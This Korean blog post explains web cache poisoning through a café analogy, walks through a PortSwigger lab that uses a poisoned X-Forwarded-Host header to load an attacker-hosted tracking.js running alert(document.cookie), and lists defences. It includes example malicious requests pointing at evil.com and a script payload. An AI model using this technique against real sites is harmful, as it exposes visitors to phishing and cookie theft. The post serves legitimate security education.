뭉크테크
Web cache poisening attack(exploit unsafe handling of resource imports) 본문
Web cache poisening attack(exploit unsafe handling of resource imports)
뭉크테크 2025. 3. 31. 21:381. 웹 캐시 포이즈닝이란?

- 정의: 공격자가 캐시(중간 저장소)를 속여서 잘못된(악성) 응답을 저장하게 만들고, 그걸 다른 사용자들에게 제공하게 하는 공격.
- 예시: 사용자가 example.com에 접속하려는데, 캐시가 오염되어 evil.com의 피싱 페이지를 보게 됨.
웹 캐시 포이즈닝을 "카페의 주문 시스템"에 비유:
- 상황: 당신이 자주 가는 카페(example.com)가 있어요. 이 카페는 바빠서 손님들이 주문을 빠르게 처리하기 위해 "중간 직원"(CDN/캐시)을 두고, 자주 나오는 주문(예: 아메리카노)을 미리 만들어 놓습니다.
- 정상 작동: 손님이 "아메리카노 주세요"라고 하면, 중간 직원이 미리 만든 아메리카노를 바로 주고, 주방(백엔드 서버)은 새로 만들 필요가 없어요.
- 공격: 누군가(공격자)가 주문표에 몰래 "독약 탄 커피"를 주문했다고 써서 제출하고, 중간 직원이 그걸 보고 "아 이게 아메리카노구나" 착각해서 캐시에 저장해버립니다. 그 뒤로 다른 손님들이 "아메리카노 주세요"라고 하면 독약 탄 커피를 받게 되는 거예요.
2. 단계별로 어떻게 되는지 예시
상황 설정
- 웹사이트: example.com은 인기 있는 쇼핑몰이에요.
- CDN: Cloudflare 같은 캐시 서버가 중간에서 요청을 처리하고 응답을 캐싱해요.
- 사용자: 평소처럼 example.com에 접속해서 물건을 사려고 함.
단계 1: 공격자가 키가 없는 입력을 찾음
- 캐시는 요청을 구분할 때 "캐시 키"라는 기준을 사용한다. 보통 Host 헤더(예: example.com)와 요청 경로(예: /shop)만 보게됨.
- 하지만 X-Forwarded-Host 같은 추가 헤더는 "키가 아닌 입력"(unkeyed input)이라 무시될 수 있다.
- 공격자가 테스트해보니, X-Forwarded-Host: evil.com을 넣으면 서버가 응답에 evil.com을 반영한다는 걸 알아냈어요.
비유: 공격자가 주문표에 "커피는 evil.com에서 가져와"라고 몰래 써놓고, 중간 직원이 그걸 보고 커피를 이상한 곳에서 가져오게 됨.
단계 2: 백엔드에서 유해한 응답 유도
- 공격자가 요청을 이렇게 보냄:
GET /shop HTTP/1.1 Host: example.com X-Forwarded-Host: evil.com
- 서버가 이걸 보고 응답에 <script>alert('evil.com hacked you');</script> 같은 악성 코드를 포함시킴(취약한 서버라면).
- 정상적인 응답 대신 악성 콘텐츠가 포함된 페이지가 생성됨.
단계 3: 응답을 캐시에 저장
- CDN이 이 응답을 보고 "아, /shop 경로에 대한 응답이네" 하면서 캐시에 저장함.
- 캐시 키는 Host: example.com과 /shop만 보니까, X-Forwarded-Host는 무시되고 그냥 캐시됨.
- 이제 캐시에 악성 응답(예: 피싱 페이지)이 저장됨.
단계 4: 다른 사용자에게 피해
- 다른 사용자가 example.com/shop에 접속하면:
GET /shop HTTP/1.1 Host: example.com
- CDN이 캐시 키(example.com/shop)를 보고 저장된 응답(악성 콘텐츠)을 바로 줌.
- 사용자는 주소창에 example.com을 보지만, 화면엔 evil.com의 피싱 페이지가 나타남.
3. 구체적인 피해 예시
- 피싱: 사용자가 로그인하려고 아이디/비밀번호 입력하면, 그게 evil.com으로 전송됨.
- 악성 코드: 브라우저에 암호화폐 채굴 스크립트가 실행됨.
- 리다이렉션: evil.com으로 강제로 이동시켜 추가 공격 유도.
4. 쉽게 이해할 수 있는 현실 예시
- 상황: example.com은 뉴스 사이트예요. 공격자가 X-Forwarded-Host: evil.com을 조작해서 캐시에 가짜 뉴스 페이지를 저장했어요.
- 결과: 사람들이 example.com/news에 접속하면 "세계 멸망!" 같은 가짜 기사를 보게 되고, 패닉에 빠지거나 악성 링크를 클릭하게 됨.
5. 왜 이런 일이 발생하나?
- 캐시 키 문제: 캐시가 X-Forwarded-Host 같은 헤더를 제대로 필터링하지 않고 응답에 반영되면 취약해짐.
- 서버 실수: 백엔드 서버가 신뢰할 수 없는 헤더를 응답에 반영하도록 잘못 설정됨.
실전 시나리오(모의해킹)
이번 시간에도 간단하 실습(모의해킹)을 통해 해당 웹 캐시 포이즈닝에 대한 개념을 더 깊게 알아가고자 한다. 그래서 간단한 모의해킹 실습 시나리오는 구상했다. 물론 내가 만든 것이 아닌, 웹 시큐리티 아카데미에서 만든 것이지만...
간단한 실습 시나리오를 말해주자면,
- 미리 만들어둔 https://exploit-0a48006a036e17ed80b27a6501ba0029.exploit-server.net/exploit 이라는 사이트를 만들어두었다. 해당 사이트로 요청을 보내게끔 요청헤더에 'X-Forwarded-Host: 공격 사이트 호스트 주소' 를 담을 것이고, 해당 요청을 공격 대상 서버에 보낼 것이다.
- 그로인해 공격 대상 서버는 공격 사이트의 호스트 주소에 들어가서 악성스크립트가 담긴 파일을 본 사이트에 캐싱할 것이다.
- 사용자는 공격 대상 서버 주소인 https://0a3700d803a9176a808f7b5500a30078.web-security-academy.net 에 요청을 보낼때마다 캐싱했던 나의 악성스크립트도 같이 실행될 것이다.
- 일단, 테스트를 위해 캐시 버스터를 http 쿼리 매개변수에 추가해줄 것이다. 캐시 버스터란 웹 캐시 포이즈닝 실험(또는 공격)을 할 때 캐시가 실수로 다른 사용자에게 영향을 미치지 않게 캐시 동작을 정확히 테스트하기 위함이다.
- 즉 사전 테스트 공격이 다른 사람들에게 영향을 끼쳐 들키는 것을 방지하고자 캐시 버스터라는 임시 주소 경로를 이용한 것이라 보면 된다.
- 그래서 일단 사전 테스트를 위해 cb=1234 라는 캐시 버스트를 매개변수에 추가하였고, X-Forwarded-Host: exploit-0a48006a036e17ed80b27a6501ba0029.exploit-server.net 를 헤더에 추가해주었다. 그리고 저렇게 만든 요청을 보낸 다음, 내 공격 사이트의 접근 기록을 확인해보았다.
그 결과,
https://exploit-0a48006a036e17ed80b27a6501ba0029.exploit-server.net/exploit 사이트의 접근 로그를 볼 때 일단, 서버 접근 기록이 남아있었다.
해당 공격대상 홈페이지가 참고하는 스크립트 상대 주소는 /resources/js/tracking.js 라는 파일을 참조하여 스크립트 내용을 가져오는 듯했다. 저 파일위치를 이용해야한다.
내 악성 사이트에서 응답해줄 때 스크립트 파일 위치를 /resources/js/tracking.js 로 설정해둔 다음, 응답 바디 내용을 alert(document.cookie) 라는 악성스크립트를 삽입해주었다.
다시 또 웹 캐시 포이즈닝 요청을 공격대상 서버로 해보았다. 그 결과, 스크립트 파일 참조 위치가 위 그림을 보면 바뀐 것을 알 수 있다.
그리고 https://0a3700d803a9176a808f7b5500a30078.web-security-academy.net/?cb=1234 url에 접속해보았다. 그 결과, 위 그림과 같이 스크립트가 동작되는 것을 볼 수 있다. 즉, 웹 캐시 포이즈닝 테스트가 성공했음을 알 수 있었다.
공격 대상 서버의 본 주소인 https://0a8b00c604a7234181d5430b009000e9.web-security-academy.net/ 에 웹 캐시 포이즈닝을 실행하였다. 방금까지는 https://0a8b00c604a7234181d5430b009000e9.web-security-academy.net/?cb=1234 를 통해 캐시버스터를 이용한 다른 임의의 주소로 웹 캐시 포이즈닝을 테스트하였지만, 이번에는 실제 대상 서버에게 해당 공격을 실행하였다.
응답 결과를 보면, 스크립트 참조 위치가 내 공격 서버라는 것을 위 그림을 통해 알 수 있고,
실제 사이트에 접속한 결과, 저렇게 스크립트가 실행된 것을 보고, 웹 캐시 포이즈닝 공격이 성공한 것을 볼 수 있다.
대응 방법
(1) 캐싱을 아예 끄는 방법
- 설명: 캐시를 사용하지 않으면 캐시 포이즈닝 공격 자체가 불가능해진다. 캐시가 없으니 공격자가 오염시킬 저장소가 없는 셈
- 비유: 카페에서 "미리 커피를 만들어 놓지 말고, 주문받을 때마다 새로 만들자"라고 하는 것과 같다. 손님이 올 때마다 새로 커피를 만들면, 누가 미리 독약을 넣을 틈이 없는 것이다.
- 현실적 문제: 하지만 캐시를 끄면 서버 부하가 커져서 사이트가 느려질 수 있다. 특히 트래픽이 많은 사이트(예: 뉴스 사이트, 쇼핑몰)에서는 캐시가 필수적일 수 있죠.
- 해결책: 캐시가 꼭 필요하지 않다면 끄는 게 좋습니다. 예를 들어, CDN(콘텐츠 전송 네트워크)을 설정할 때 기본적으로 캐싱이 켜져 있을 수 있는데, 정말 필요한지 검토해보세요.
(2) 정적인 응답만 캐싱하기
- 설명: "정적인 응답"은 사용자마다 바뀌지 않는 데이터(예: 이미지, CSS 파일, JS 파일)만 캐싱하라는 뜻. 동적인 데이터(예: 사용자 이름이 포함된 페이지)는 캐싱하지 않도록 설정해야 한다.
- 비유: 카페에서 "아메리카노는 미리 만들어 놓아도 되지만, 손님 이름이 적힌 커피잔은 매번 새로 만들자"라고 하는 것과 비슷함. 아메리카노는 누구나 똑같이 마시지만, 이름이 적힌 잔은 개인화된 거라 미리 만들면 안 되는 것.
- 주의점: "정적"이라고 생각한 데이터가 실제로는 공격자가 조작할 수 있는 경우가 있다. 예를 들어, example.com/resources/js/tracking.js 같은 파일이 정적인 줄 알았는데, X-Forwarded-Host 헤더로 인해 공격자의 서버에서 가져오게 될 수 있음.
- 해결책: 정적 파일도 신뢰할 수 있는 출처에서만 가져오도록 확인. 예를 들어, 스크립트 URL을 고정(예: example.com에서만 로드)하거나, CSP(Content Security Policy)로 외부 도메인 로드를 차단.
(3) 제3자 기술의 보안 점검
- 설명: 요즘 웹사이트는 제3자 기술(예: CDN, 외부 라이브러리, 광고 스크립트)을 많이 사용. 이런 기술이 취약하면, 내가 아무리 보안을 잘해도 공격당할 수 있음.
- 비유: 내가 카페를 아무리 깨끗하게 운영해도, 커피 원두를 공급하는 업체가 오염된 원두를 보내면 손님들이 피해를 봄. 결국 공급업체의 보안도 확인해야함.
- 현실적 문제: 예를 들어, CDN이 기본적으로 X-Forwarded-Host 같은 헤더를 지원하면, 공격자가 이를 조작해서 캐시를 오염시킬 수 있음.
- 해결책:
- 필요 없는 헤더 비활성화: CDN이나 서버에서 불필요한 헤더(예: X-Forwarded-Host)를 아예 사용하지 않도록 설정.
- 예: Cloudflare에서 X-Forwarded-Host를 백엔드 서버로 전달하지 않도록 필터링.
- 제3자 기술 검토: CDN, 외부 스크립트, 플러그인 등을 사용할 때, 어떤 헤더를 지원하는지, 취약점이 있는지 미리 확인.
- 필요 없는 헤더 비활성화: CDN이나 서버에서 불필요한 헤더(예: X-Forwarded-Host)를 아예 사용하지 않도록 설정.
(4) 캐시 키 설정 조정
- 설명: 캐시 키는 캐시가 요청을 구분하는 기준이에요. 성능을 위해 캐시 키에서 일부 헤더를 제외하면, 공격자가 이를 악용 가능성 있음.
- 비유: 카페에서 "아메리카노 주문은 모두 똑같이 처리하자"라고 하면, 누가 "독약 넣어줘"라고 주문해도 똑같이 캐시에 저장돼서 다른 손님에게도 독약 커피가 갈 수 있음.
- 해결책:
- 요청 재작성: 캐시 키에서 제외하려는 헤더(예: X-Forwarded-Host)가 있다면, 그 헤더를 아예 무시하고 요청을 재작성.
- 예: X-Forwarded-Host 값을 무시하고, 항상 example.com으로 고정.
- 캐시 키 강화: 캐시 키에 필요한 요소만 포함하고, 불필요한 헤더는 제외.
- 요청 재작성: 캐시 키에서 제외하려는 헤더(예: X-Forwarded-Host)가 있다면, 그 헤더를 아예 무시하고 요청을 재작성.
(5) Fat GET 요청 거부
- 설명: "Fat GET 요청"은 GET 요청에 본문(body)을 포함하는 비표준 요청. 일부 제3자 기술이 이를 허용하면, 공격자가 본문에 악성 데이터를 넣어서 캐시를 오염시킬 수 있음.
- 비유: 카페에서 손님이 "아메리카노 주세요"라고 하면서, 주문표에 몰래 "독약 넣어줘"라고 써놓는 것과 비슷. 정상적인 주문은 본문이 없어야 함.
- 해결책:
- 서버에서 GET 요청에 본문이 포함된 경우 거부.
- 예: Nginx 설정:
if ($request_method = GET) {
if ($content_length > 0) {
return 400; # 본문이 있으면 에러 반환
}
}
- 예: Nginx 설정:
- 제3자 기술이 Fat GET을 허용하는지 확인하고 비활성화.
- 서버에서 GET 요청에 본문이 포함된 경우 거부.
(6) 클라이언트 측 취약점 패치
- 설명: 클라이언트 측 취약점(예: XSS, 오픈 리다이렉션)이 캐시 포이즈닝과 결합하면 더 위험해질 수 있음. 캐시의 이상 동작(quirks) 때문에 "활용 불가능해 보이는" 취약점이 실제로 활용될 수 있음.
- 비유: 카페에서 문이 잠겨 있어 "도둑이 못 들어오겠지"라고 생각했는데, 창문이 열려 있어서 도둑이 들어와 커피에 독약을 넣을 수 있는 상황.
- 해결책:
- XSS 방지: <script> 태그가 삽입되지 않도록 입력 검증 및 출력 인코딩.
- 예: 사용자 입력을 HTML 엔터티로 변환(예: < → <).
- 캐시 동작 테스트: 캐시가 이상하게 동작하는지(예: 특정 헤더로 인해 응답이 바뀌는지) 확인.
- XSS 방지: <script> 태그가 삽입되지 않도록 입력 검증 및 출력 인코딩.
출처
Web cache poisoning | Web Security Academy
In this section, we'll talk about what web cache poisoning is and what behaviors can lead to web cache poisoning vulnerabilities. We'll also look at some ...
portswigger.net
'CERT' 카테고리의 다른 글
Web cache poisening attack(Using multiple headers) (0) | 2025.04.05 |
---|---|
Web cache poisoning attack(exploit cookie-handling vulnerabilities) (2) | 2025.04.03 |
Web LLM attacks(Exploiting insecure output handling in LLMs) (2) | 2025.03.22 |
Web LLM attacks(Indirect prompt injection) (0) | 2025.03.06 |
Web LLM Attack(Chaining vulnerabilities in LLM APIs) (0) | 2025.03.03 |